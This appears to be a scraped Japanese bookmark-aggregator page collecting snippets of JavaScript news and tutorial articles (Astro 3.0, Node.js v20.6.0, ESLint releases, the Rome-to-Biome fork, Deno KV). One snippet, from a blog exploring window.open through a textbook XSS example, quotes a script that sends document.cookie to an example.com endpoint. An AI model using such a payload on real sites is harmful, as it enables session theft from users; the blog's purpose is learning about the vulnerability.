モダンJavaScriptの基本あれこれ - Qiita
モダンJavaScriptとは？ 主な特徴 React、Vue、Angular、Riotなどの仮想DOMを用いるライブラリやフレームワークを使用 npmやyarnなどのパッケージマネージャーを使用 主にES2015以降の記法を使用 webpackなどのモジュールバンドラーを使用 Babelなどのトランスパイラを使用 SPA（Single Page Application）が基本 仮想DOMとは？ 従来のDOMと仮想DOM 従来のDOM: DOM（Document Object Model）はHTMLなどを解釈し、ページの要素を木構造で表現する。従来のDOM操作は、バニラJavaScriptやjQueryを使用して直接操作をしていた。そのため、画面のレンダリングコストが高まり、パフォーマンスの問題が発生していた。 仮想DOM: 仮想DOMは、JavaScript内でDOMの操作を行い、変更前
OSSのWebフレームワークが突如TypeScriptからJavaScriptに移行して紛糾 | スラド オープンソース
「Turbo 8」というOSSのWebフレームワークが、「Remove TypeScript」というプルリクで突然にTypeScriptからJavaScriptへの移行を行ったことで、OSS界隈で大きな話題となっているらしい。一般にTypeScriptは型のあるベターなJavaScriptとして扱われるが、移行理由として厳しい型付けやコンパイルの要否などが挙げられている。ただしプルリク提出から2時間で議論する間も無くマージされたので、相当のツッコミも入っているようだ（Turbo 8 is dropping TypeScript、GitHub Remove TypeScript by afcapel、DEVCLASS、はてなブックマーク）。
XSSの例に登場するJavaScriptのopen（window.open）を理解したく手を動かす - nikkie-ftnextの日記
はじめに 豊洲ユナイテッドシネマ埋めるぞ！（ミリアニはいいぞ） nikkieです。 今回は小さな素振り記事です。 目次 はじめに 目次 window.open 開発ツールで動作確認 openする先のWireMockを用意 XSS脆弱性のあるDjangoアプリにopenを埋め込む 終わりに window.open 『実践Django』のXSS脆弱性の例で知りました。 openを使ってクッキーを送信するコードが実行される例が紹介されます(Kindle版 p.297 より)。 <script>open('http://example.com/stole?cookie='+escape(document.cookie));</script> このopen関数自体がよく分かっていなかったので今回素振りしました。 open() は Window インターフェイスのメソッドで、指定されたリソースを、新し
静的サイトジェネレータ「Astro 3.0」正式リリース。JavaScriptなしでSPAのようなアニメーションの画面遷移など新機能
静的サイトジェネレータ「Astro 3.0」正式リリース。JavaScriptなしでSPAのようなアニメーションの画面遷移など新機能 オープンソースで開発されている静的サイトジェネレータ「Astro」の最新バージョンとなる「Astro 3.0」が正式にリリースされました。 Astro 3.0 is out now! 30% faster and more powerful than ever. View Transitions, Image Optimization, JSX Fast Refresh, and so much more. https://t.co/vOi44246Hg — Astro (@astrodotbuild) August 30, 2023 Astroは、ReactやVue、Svelte、Alpine.js、TypeScriptなどのさまざまなフレームワークやライ
フロントエンド開発の変遷① JavaScriptの黎明期とjQuey - Qiita
もっと技術の歴史や生まれた背景を知るべく、今回はフロントエンド開発の変遷について学びました。今回は第1回「JacaScriptの黎明期とjQueryです」 書籍「TypeScriptとReact/Next.jsで作る実践Webアプリケーション開発」を参考にしています。 JavaScriptの黎明期とjQueryの人気 JavaScriptは1995年に誕生します。JavaScriptはNetscape社が開発したブラウザ上で動くスクリプト言語として登場。同時期にMicrosoftもWindowsにInternet Exploerを搭載し、JavaScriptに似ている言語JScriptが動作するブラウザを実装しましたが、JavaScriptと非互換な部分も多く、ブラウザ間で挙動が異なる開発者の頭を悩ませていた。 そのような背景でECMAという標準化団体によるJavaScriptの標準化策定
2023-09-07のJS: Node.js v20.6.0(.env)、Rspackのアーキテクチャデザイン
JSer.info #659 - Node.js v20.6.0がリリースされました Node v20.6.0 (Current) | Node.js .envをビルトインサポート、import.meta.resolveをフラグなしで利用できるように、module.register() APIの追加などが行われています。 Loaderのload hookがCommonJSをサポートし、非推奨のrequire.extensionsを使わなくてもCommonJSを扱うcustom loaderを書けるようになるなどといった変更も含まれています。 しかし、このv20.6.0ではこのloaderの変更によりBabelなどが動かなくなっているため、v20.6.1で修正される予定です。 [v20.6] CJS runs repeatedly when there are circular depend
Deno、JavaScript用データストア「Deno KV on Deno Deploy」オープンベータに。分散環境でも強い一貫性、1GBストレージまで無料
Deno、JavaScript用データストア「Deno KV on Deno Deploy」オープンベータに。分散環境でも強い一貫性、1GBストレージまで無料 サーバサイドやエッジでのJavaScriptランタイムを提供するDenoは、JavaScript/TypeScript用のデータストアである「Deno KV」を、同社の分散ホスティング環境であるDeno Deploy上でオープンベータとして公開したことを発表しました。 DenoはもともとNode.jsよりも優れたJavaScript/TypeScriptランタイム実現する目的で開発されたため、データストアの機能は備えていません。 そのため、Denoでアプリケーションを開発し実行する際には、データを保存するためのデータベースをユーザーが用意する必要がありました。 そこで、今年（2023年）5月に、Denoに統合されたデータストアとして
TypeScriptもサポートの、ブラウザでJavaScriptコードの動作テストが可能なオープンソースのWebアプリ・「PlayJS」 - かちびと.net
PlayJSはTypeScriptもサポートの、ブラウザでJavaScriptコードの動作テストが可能なオープンソースのWebアプリです。 jsfiddleやCodepen等と異なるのは、こちらはHTMLやCSSはサポートされていない点、OSSである点でしょうか。表題には一応書きましたがTSはCodepenでもjsfiddleでもサポートされています。 他、NPMパッケージのインポート、APIへの非同期リクエスト、コードのダウンロードとアップロード、コードの現在の状態を他の人と共有、任意のウェブサイトにコードをembedなどの特徴があるみたいです。上記はembedしたもので、紙吹雪のアニメーションを実装するcanvas-confettiをインポートしています。 インポート機能やアップロード機能は楽で良いなと感じました。共有やembed出来るのも地味に良いですね。諸事情でCodepenなどが
JavaScriptツールチェインの統一を目指した「Rome」のコアチームによる公式フォーク「Biome」が開始
JavaScriptやTypeScriptのアプリケーションを開発する際に使われる、ソースコードのフォーマットや文法チェック、複数のコードのバンドルなどのツールを連携させた、いわゆるツールチェインを、単一のツールで実現してしまおうというのが、2020年にオープンソースで登場したRomeです。 その主要な開発者であるSebastian McKenzie氏がRomeの開発とサポートを推進するための企業「Rome Tools, Inc.」を2021年5月に立ち上げます。 参考：JavaScriptツールチェインの統一を目指す「Rome」開発チームが起業、「Rome Tools, Inc.」を立ち上げ しかし現時点でこのRome Tools,Inc.は全従業員をレイオフした状態で、Romeの開発も滞っていると、コア開発チームのEmanuele Stoppa氏はブログ「Announcing Biom
JavaScript Primer v5.0.0: ES2023の対応/CC BYライセンスに変更/Open Collectiveで支援できるようになりました
JavaScript Primer v5.0.0: ES2023の対応/CC BYライセンスに変更/Open Collectiveで支援できるようになりました ECMAScript 2023(ES2023)をサポートしたJavaScript Primer v5.0.0をリリースしました。 Release v5.0.0: ES2023/CC BYライセンスに変更/Open Collective · asciidwango/js-primer JavaScript Primer(jsprimer)は、JavaScriptの文法や機能を一から学べるように書かれている入門書です。 今回のウェブ版のアップデートでは、最新のECMAScriptに対応しました。 jsprimer v5.0.0リリースに合わせて、文章のライセンスをCC BY-NC 4.0からCC BY 4.0へと変更しています。 また、
2023-09-01のJS: Nuxt 3.7、Rome → Biome、Astro 3.0
JSer.info #658 - Nuxt 3.7がリリースされました。 Nuxt 3.7 · Nuxt Web StreamとResponseのサポート、capo.jsを使った<head>内の要素の最適化をサポート、Vite 4.4へのアップデート、Nitro 2.6へのアップデートなどが行われています。 Announcing Nitro 2.6 · UnJS tsconfig.jsonのbaseUrlではなく相対パスを使うように変更、AsyncLocalStorageを使った非同期コンテキストのサポートなども含まれます。 RomeはFork/アーカイブ化されBiomeというプロジェクトにリネームされました。 Announcing Biome Rome Tools Inc.というRomeの会社が解散され連絡がつかない状態のため、元々のコアメンバーがベースとなりBiomeという新しいプロジ
Publickeyが関連記事の動的生成をPHPとJavaScriptとMovableTypeで実装した方法とは？
Publickeyが関連記事の動的生成をPHPとJavaScriptとMovableTypeで実装した方法とは？ ブログやニュースサイトなどのWebサイトを構築する際には、「人気記事ランキング」と「関連記事」の表示はぜひWebサイトに組み込みたい機能といえます。 Publickeyでも、この2つの機能を組み込んでいます。具体的には、人気記事の表示はGoogle Analyticsのデータを基にランキング表示を行ってくれる外部サービス「Ranklet4」を採用しています。 問題は「関連記事」です。私の知るところでは、関連記事の中に広告へのリンクが埋め込まれるという形で提供される関連記事表示サービスはたくさんあるのですが、純粋に関連記事の表示機能だけを提供してくれるサービスは有料のものを含めても見つけることができません。 そうした中で、Publickeyが使い続けてきたのがログリー社のLOGL
ESLint v8.48.0がリリース ー 新機能allowVoidオプションが追加
ESLint v8.48.0がリリースされました 8月25日、ESLintは最新バージョンであるv8.48.0をリリースしました。 このマイナーリリースでは、いくつかの新機能が追加され、前のリリースで見つかったいくつかのバグが修正されています。 </tf-f 8月25日、ESLintは最新バージョンであるv8.48.0をリリースしました。 このマイナーリリースでは、いくつかの新機能が追加され、前のリリースで見つかったいくつかのバグが修正されています。 no-promise-executor-returnルールの新機能: allowVoid ESLint v8.48.0では、no-promise-executor-returnルールにallowVoidという新しいオプションが追加されました。 このオプションを使用すると、Promiseのexecutor内でvoidを返すことが許可されます。
なんでモダンJavaScriptを使うの？ - Qiita
Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article? Vanilla.js 何のライブラリもフレームワークも使わないで書かれたJavaScript(JS)のこと モダンJS 仮想DOMを用いるライブラリやフレームワーク npmやyarnなどのパッケージマネージャ webpackなどのモジュールバンドラ Babelなどのトランスパイラ 具体的にはReact, Vue, Angularを指していると考えて差し支えない DOM Document Object Model HTMLなどの文書を木構造で表現したもの DOM操作自体はコードが複雑化する上に、レンダリングコストが高いというデメリットがあ
FirefoxがJavaScriptベンチマークテストの「SunSpider」でついにChromeを抜いたと報告、ただしSunSpiderは古いという指摘も
ブラウザのFirefoxを開発するMozillaが、Firefoxの開発にまつわる最新情報を報告するブログ・Firefox Nightly Newsで、「FirefoxがJavaScriptベンチマークの『SunSpider』でGoogle Chromeを上回った」と2023年8月10日に報告しました。一方で、SunSpiderは最新版のリリースが2013年の古いベンチマークテストであり、すでに別のベンチマークテストに取って代わられているという声も上がっています。 A View to a Better, Faster Web – These Weeks in Firefox: Issue 143 – Firefox Nightly News https://blog.nightly.mozilla.org/2023/08/10/a-view-to-a-better-faster-web-t
ESLint、新バージョンv8.47.0をリリース
8月11日に、ESLintはv8.47.0を発表しました。 このマイナーリリースでは、いくつかの新機能が追加され、前のリリースで見つかったいくつかのバグが修正されています。 ESLintの機能向上とバグ修正を目的としており、注目すべきポイントを以下に紹介します。 8月13日、静的コード解析ツール ESLintが、新たなバージョンv8.47.0をリリースした。この最新バージョンは、ESLintのマイナーアップグレードであり、以前のバージョンで特定された複数のバグが修正され、新たな機能が追加された。具体的には、メソッド内でthisArgを使用する正規表現の更新など、新しい機能が組み込まれている。また、no-new-wrappersルールにおいて、シャドウされたコンストラクタに関する報告が行われないように調整された。 以下に、新バージョンv8.47.0の主な変更点を詳しく記載する。 新機能 53
TypeScriptにおいてCommonJSとES Moduleの両方に対応するパッケージを作る - Qiita
はじめに 最近ではNode.jsのライブラリでも、pure ESMの考え方でES Moduleのみでしか利用できないものも出てきている。とはいえ、npm-esm-vs-cjsというリポジトリのデータによると、以下のようにCommonJSのライブラリのほうが圧倒的に多く、ES Moduleのみはまだ10％程度しかない（みたい）。 そこで、今回はライブラリを公開する際に、CommonJSとES Moduleの両方をサポートするようなプロジェクトの設定についてみていきたいと思う。 ※前提として、今回は1つのTypeScriptファイルからCommonJS・ES Moduleの両方に対応するJavaScriptファイルを作成することを考える（ファイル拡張子を".mts"や".cts"にして、コンパイル後のファイル拡張子を変えることでCommonJS・ES Moduleに対応する方法ではない）。その
React 18の非同期機能とパフォーマンス改善についてVercelが解説
React 18の非同期機能とパフォーマンス改善について 7月19日、React 18はパフォーマンス改善機能を発表しました。 この記事では、React 18の非同期機能がアプリケーションのパフォーマンスに与える影響と改善点 React 18の非同期機能とパフォーマンス改善について この記事では、React 18の非同期機能がアプリケーションのパフォーマンスに与える影響と改善点について説明します。 メインスレッドと長時間タスク メインスレッドは、さまざまなタスクを処理する責任があります。 しかし、長時間タスクは他の処理をブロックすることがあり、パフォーマンスに悪影響を与えることがあります。 従来のReactのレンダリング 従来の同期レンダリングでは、すべての要素に同じ優先度が与えられます。 しかし、React 18では非同期レンダリングが導入され、優先度の低いコンポーネントのレンダリングを
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
フロントエンド開発の変遷④ JavaScriptライブラリ乱立時代 - Qiita
GraphQL API リゾルバーを JavaScript により記述する AWS AppSync Samples が提供されていたので試してみた | DevelopersIO
